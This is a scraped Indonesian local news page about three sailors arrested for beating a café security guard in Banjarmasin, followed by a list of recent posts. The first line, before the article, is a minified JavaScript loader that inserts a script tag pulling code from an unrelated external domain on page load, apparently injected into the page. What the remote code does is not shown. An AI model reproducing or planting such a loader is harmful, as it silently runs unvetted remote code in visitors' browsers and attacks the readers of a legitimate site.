(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Security Kafe di Banjarmasin Bonyok Dikeroyok Tiga Orang


KANALKALIMANTAN.COM, BANJARMASIN – Peristiwa pengeroyokan terjadi di Cafe Queenna Vic88 di Jalan Yos Sudarso, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Korban dalam peristiwa pengroyokan bernama Hamdani (28) yang berprofesi sebagai petugas keamanan atau security.

Kanit Reskrim Polsek Banjarmasin Barat Iptu Firuza Bahri dalam keterangan tertulis mengatakan, kejadian pengeroyokan terjadi pada Sabtu (9/12/2023) dini hari, sekitar pukul 02.00 Wita.

Baca juga: Vonis 4 Tahun Dua Terdakwa Korupsi Kredit Fiktif Bank di Banjarbaru

Pengeroyokan menurut pengakuan Hamdani dijelaskan Kanit Reskrim berawal dari adanya keributan di tempat kejadian pada malam itu.

Hamdani saat itu berusaha untuk melerai, namun para pelaku malah menganiayanya secara bersamaan.

“Akibat peristiwa itu, korban mengalami luka memar di bagian mata kanan dan merasakan sakit di belakang kepala,” ujarnya.

Baca juga: Diberi Waktu 14 Hari, Bangunan Liar di Trikora Liang Anggang Harus Dibongkar

Tak terima dianiaya oleh pelaku yang berjumlah tiga orang, Hamdani kemudian membuat laporan ke Polsek Banjarmasin Barat.

Hanya berselang sehari setelah kejadian, tiga pelaku berhasil ditangkap di Jalan Sutoyo S Komplek Ar Rahman RT 07, Kelurahan Pelambuan, Kacamatan Banjarmasin Barat.

Pelaku adalah TS (23) warga asal Sulawesi Selatan, I (44) warga asal Jakarta Utara, dan AI (27) warga Kelayan, Banjarmasin. Ketiganya diketahui berprofesi sebagai pelaut.

Baca juga: Rampas HP dalam Mobil Travel, Xenia Nyungsep ke Parit di Liang Anggang

Selain mengamankan pelaku pengeroyokan, polisi juga menyita barang bukit sebuah botol bir dan satu gelas kaca. Polisi juag sudah mengantongi hasil visum et repertum (VeR) korban.

Ketiga pelaku dan barang bukti telah dimankan di Mapolsek Banjarmasin Barat dan para pelaku terancam pasal 170 KUHP.

“Pelaku akan diproses sesuai prosedur hukum yang berlaku,” tandas Kanit Reskrim.(Kanalkalimantan.com/rizki) 

Reporter : rizki

Editor : bie


Muhammad Andi

Recent Posts

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

16 menit ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

22 menit ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

45 menit ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

54 menit ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

1 jam ago

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

4 jam ago

This website uses cookies.